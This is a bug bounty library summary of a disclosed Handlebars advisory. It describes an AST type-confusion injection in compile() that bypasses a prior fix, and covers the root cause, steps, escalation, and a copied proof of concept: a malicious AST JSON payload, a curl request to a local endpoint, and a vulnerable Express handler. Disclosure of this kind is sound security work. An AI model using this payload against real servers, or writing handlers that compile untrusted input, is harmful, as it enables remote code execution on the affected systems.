# Handlebars: JavaScript Injection via AST Type Confusion in compile (bypass of CVE-2026-33937)

Handlebars 4.7.9 AST validator only checks typed nodes, so a Program.blockParams.length string is written raw into generated JS, giving RCE via compile().

- Payout: Research
- Severity: critical
- Program: Handlebars
- Found by: ndelphit, bhaswanthc, dinhvaren, jmoritzc53
- Disclosed: 2026-10-08
- CVE: CVE-2026-106446
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-8r5x-fm3f-whwj
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-8r5x-fm3f-whwj
- Tags: area:oss domain:oss impact:integrity impact:rce kind:research platform:ghsa sev:critical tech:nodejs technique:incomplete-fix technique:source-review vuln:rce

**Target:** Handlebars.compile()/precompile() AST input (npm handlebars)
**Root cause:** The 4.7.9 AST validator only inspects values on PathExpression, NumberLiteral and BooleanLiteral nodes, skipping plain objects without a type and non-object values; the compiler still interpolates other AST fields (e.g. Program.blockParams.length) directly into generated JavaScript.
**Steps:**
1. Set up an Express endpoint that calls `Handlebars.compile(req.body.text)` on a JSON body field.
2. Send an AST object with `program.blockParams.length` set to `"(()=>{throw new Error('Injected code ran as uid ' + process.getuid())})()"` inside a BlockStatement.
3. POST the JSON to the endpoint; the validator passes because blockParams has no `type` and the string under `length` is skipped.
4. Compiler writes the string into `container.program(<index>, data, <length>)`, executing it on render even though `missingHelper` does not exist.
**How found:** Reviewed the 4.7.9 validator added for prior AST advisories, noticed it only type-checks three node types and skips untyped objects/non-object values, then traced which AST fields the compiler interpolates raw into generated code.
**Exploitation:** Attacker submits a crafted AST as a JSON request body to any endpoint passing untrusted input to compile(); the injected expression runs in the Node.js process with app privileges on render (HTTP 500 with error confirming execution). With precompile(), the payload lands in the precompiled template and runs wherever it is loaded, e.g. browsers.
**Escalation:** Same primitive extends to other unchecked fields (StringLiteral.value, PathExpression.original, PathExpression.depth with stringParams:true), and precompile() turns server-side injection into client-side execution.
**Insight:** When a validator whitelists node types, enumerate every field the downstream code generator interpolates and check which of those live on nodes the validator never visits; untyped plain objects and non-object values are the usual gaps.

## Proof of concept (copied exactly from the original report)

**Malicious AST JSON with injected blockParams.length**

```
{
  "text": {
    "type": "Program",
    "loc": { "start": { "line": 1, "column": 0 } },
    "body": [
      {
        "type": "BlockStatement",
        "path": {
          "type": "PathExpression", "data": false, "depth": 0,
          "parts": ["missingHelper"], "original": "missingHelper",
          "loc": { "start": { "line": 1, "column": 0 } }
        },
        "params": [],
        "program": {
          "type": "Program",
          "blockParams": {
            "length": "(()=>{throw new Error('Injected code ran as uid ' + process.getuid())})()"
          },
```

**curl request sending the malicious AST body**

```
curl -s -X POST 'http://127.0.0.1:2123/api/render' \
     -H 'Content-Type: application/json' --data-binary @poc.json
```

**Express server compiling untrusted request body**

```
app.post("/api/render", (req, res) => {
  const template = Handlebars.compile(req.body.text); // `text` may be an object, not a string
  res.send(template());
});
```

